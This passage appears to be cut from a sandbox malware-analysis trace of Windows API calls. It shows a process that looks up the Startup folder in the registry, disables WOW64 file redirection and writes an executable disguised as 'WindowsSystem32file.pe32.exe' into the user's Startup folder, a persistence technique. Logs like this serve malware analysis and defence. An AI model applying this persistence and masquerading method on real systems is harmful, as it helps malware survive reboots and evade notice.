(HeapHandle=0x540000, Flags=0x0, Size=0x8c) returned 0x557eb8 [0217.917] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0217.917] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x5b6428, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x5b6428*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0217.917] RegCloseKey (hKey=0x240) returned 0x0 [0217.917] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557eb8 | out: hHeap=0x540000) returned 1 [0217.917] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0217.917] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8c) returned 0x557eb8 [0217.917] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0217.918] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x5b6428, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0217.918] RegCloseKey (hKey=0x244) returned 0x0 [0217.918] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557eb8 | out: hHeap=0x540000) returned 1 [0217.918] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0217.918] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0217.918] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c7438 | out: hHeap=0x540000) returned 1 [0217.918] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe", lpDst=0x5a6420, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe") returned 0x6b [0217.918] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5b6428 | out: hHeap=0x540000) returned 1 [0217.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a6420 | out: hHeap=0x540000) returned 1 [0217.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x2321020 [0217.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584678 [0217.986] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584678, Size=0x20) returned 0x57eeb0 [0217.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584678 [0217.986] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584678, Size=0x20) returned 0x57ed98 [0217.986] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0217.986] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0217.986] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0217.986] lstrlenW (lpString="kernel32.dll") returned 12 [0217.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57eeb0 | out: hHeap=0x540000) returned 1 [0217.986] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0217.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57ed98 | out: hHeap=0x540000) returned 1 [0217.986] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0217.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 82 os_tid = 0xfd4